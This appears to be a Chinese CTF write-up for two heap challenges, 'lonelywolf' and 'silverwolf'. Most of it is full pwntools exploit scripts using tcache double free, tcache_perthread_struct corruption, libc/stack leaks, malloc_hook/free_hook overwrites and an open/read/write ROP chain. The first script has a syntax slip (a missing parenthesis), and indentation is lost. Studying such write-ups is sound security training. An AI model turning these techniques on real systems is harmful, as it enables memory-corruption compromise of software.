一、lonelywolf
- 构造double free泄露并打印堆地址,利用堆地址计算tcache_perthread_struct结构体地址
- 使用double free 攻击tcache_perthread_struct,修改count>7,并使得下一次申请到tcache_perthread_struct位置,并再次留下tcache_perthread_struct地址
- 利用tcache_perthread_struct的size free后会放入unsorted bin中,可以泄露出libc地址
- 利用之前修改tcache_perthread_struct的申请地址再次修改tcache_perthread_struct的chunk申请地址(改为malloc_hook/free_hook)
- 申请该大小的chunk,修改malloc_hook为one_gadget
脚本如下:
from pwn import*
sh=process('./lonelywolf')
libc=ELF('./libc-2.27.so')
su=lambda x,y:sh.sendafter(x,y)
sue=lambda x,y:sh.sendlineafter(x,y)
def cmd(ch):
sue('ice:',str(ch))
def add(index,size):
cmd(1)
sue('dex:',str(index))
sue('ize',str(size))
def edit(index,content):
cmd(2)
sue('dex:',str(index))
sue('tent:',content
def show(index):
cmd(3)
sue('dex:',str(index))
def delm(index):
cmd(4)
sue('dex:',str(index))
one=[0x4f3d5,0x4f432,0x10a41c]
add(0,0x78)
delm(0)
edit(0,'a'*0x10)
delm(0)
show(0)
sh.recvuntil(': ')
leak_heap=u64(sh.recvuntil('\x0a',drop='False').ljust(8,'\x00'))
print hex(leak_heap)
tcache_s=leak_heap & 0xfffffffff000
print hex(tcache_s)
edit(0,p64(tcache_s+0x30))
add(0,0x78)
add(0,0x78)
fake='\x08'*8*4+p64(tcache_s+0x010)+p64(tcache_s+0x010)+p64(tcache_s+0x70)
edit(0,fake)
add(0,0x20)
delm(0)
show(0)
libc_add=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base=libc_add-0x3ebca0
free_hook=0x3ed8e8+libc_base
malloc_hook=0x3ebc30+libc_base
sym=one[2]+libc_base
print '[+]libc_base'+hex(libc_base)
add(0,0x30)
edit(0,p64(malloc_hook))
add(0,0x50)
edit(0,p64(sym))
gdb.attach(sh,'x/gx $rebase(0x202058)')
add(0,0x20)
sh.interactive()
二、silverwolf
与前一题不同的是,本题开了沙箱只能orw
可以修改free_hook为setcontext+53来进行rop(orw)
脚本如下:
from pwn import*
#context(log_level='debug')
context(arch='amd64')
#sh=remote()
sh=process('./silverwolf')
pop_rdi=0x1123
pop_rsi_r15=0x1121
libc=ELF('./libc-2.27.so')
one=[0x4f3d5,0x4f432,0x10a41c]
fini_arry=0x201D50
su=lambda x,y:sh.sendafter(x,y)
sue=lambda x,y:sh.sendlineafter(x,y)
def cmd(ch):
sue('ice:',str(ch))
def add(index,size):
cmd(1)
sue('dex:',str(index))
sue('ize',str(size))
def edit(index,content):
cmd(2)
sue('dex:',str(index))
sue('tent:',content)
def show(index):
cmd(3)
sue('dex:',str(index))
def delm(index):
cmd(4)
sue('dex:',str(index))
def init():
for i in range(12):
add(0,0x10)
add(0,0x50)
for i in range(11):
add(0,0x60)
for i in range(10):
add(0,0x70)
init()
#gdb.attach(sh)
add(0,0x78)
delm(0)
edit(0,'a'*0x10)
delm(0)
show(0)
sh.recvuntil(': ')
leak_heap=u64(sh.recvuntil('\x0a',drop='False').ljust(8,'\x00'))
print'[+]=leak_heap=='+ hex(leak_heap)
tcache_s=leak_heap-0x1000 & 0xfffffffff000
print hex(tcache_s)
edit(0,p64(tcache_s+0x30))
add(0,0x78)
add(0,0x78)
fake='\x08'*8*4+p64(tcache_s+0x010)+p64(tcache_s+0x010)+p64(tcache_s+0x70)
edit(0,fake)
add(0,0x20)
#gdb.attach(sh,'x/gx $rebase(0x202058)')
delm(0)
show(0)
libc_add=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base=libc_add-0x3ebca0
free_hook=0x3ed8e8+libc_base
malloc=0x3ebc30+libc_base
leave=0x54913+libc_base
sret=libc_base+0x3f040
sym=one[2]+libc_base
print '[+]libc_base=='+hex(libc_base)
add(0,0x30)
payload=p64(libc_base+libc.symbols['_IO_2_1_stdout_'])+p64(tcache_s+0x70)
edit(0, payload)
add(0,0x50)
env=libc_base+libc.symbols['environ']
leak=p64(0xfbad1800)+p64(0)*3+p64(env)+p64(env+0x20)
edit(0,leak)
stack_add=u64(sh.recvuntil('\x7f')[-6:].ljust(0x8,'\x00'))
print'[+]=stack_addr==='+hex(stack_add)
add(0,0x60)
edit(0,payload)
leak2=p64(0xfbad1800)+p64(0)*3+p64(stack_add-0x6d8)+p64(stack_add-0x6d0)
add(0,0x50)
edit(0,leak2)
pie_add=u64(sh.recvuntil('\x55')[-6:].ljust(8,'\x00'))
pie_base=pie_add-0x11c9
print '[+]==pie_base'+hex(pie_base)
add(0,0x60)
payload=p64(free_hook)
edit(0,payload)
#gdb.attach(sh,'x/gx $rebase(0x202058)\n b*$rebase(0xDBA)\n p __free_hook')
add(0,0x50)
edit(0,p64(libc_base+libc.sym['setcontext']+53))
add(0,0x70)
syscall=libc_base+libc.sym['read']+15
pop_rax=libc_base+0x43ae8
pop_rsi=libc_base+0x23eea
pop_rdi+=pie_base
pop_rdx=libc_base+0x1b96
read=libc_base+libc.sym['read']
write=libc_base+libc.sym['write']
payload='\x07'*0x40+p64(tcache_s+0x200)*4+p64(tcache_s+0x120)+p64(tcache_s+0x50)
edit(0,payload)
add(0,0x60)
payload=p64(tcache_s+0x10)*5+p64(tcache_s+0xb0)+p64(tcache_s+0x200)
edit(0,payload)
#gdb.attach(sh,'x/gx $rebase(0x202058)\n b*$rebase(0xDBA)\n p __free_hook')
payload_rip=p64(pop_rdi)
payload_stack=p64(tcache_s+0x10)+p64(pop_rax)+p64(2)+p64(syscall)
payload_stack+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(tcache_s+0x300)+p64(pop_rdx)+p64(0x30)
payload_stack+=p64(read)+p64(pop_rdi)+p64(1)+p64(write)
print 'len==='+hex(len(payload_stack))
add(0,0x78)
edit(0,payload_stack)
payload_rip=p64(tcache_s+0x200)+payload_rip
add(0,0x60)
edit(0,payload_rip)
add(0,0x40)
edit(0,'./flag')
gdb.attach(sh,'x/gx $rebase(0x202058)\n b*$rebase(0xDBA)\n p __free_hook')
delm(0)
sh.interactive()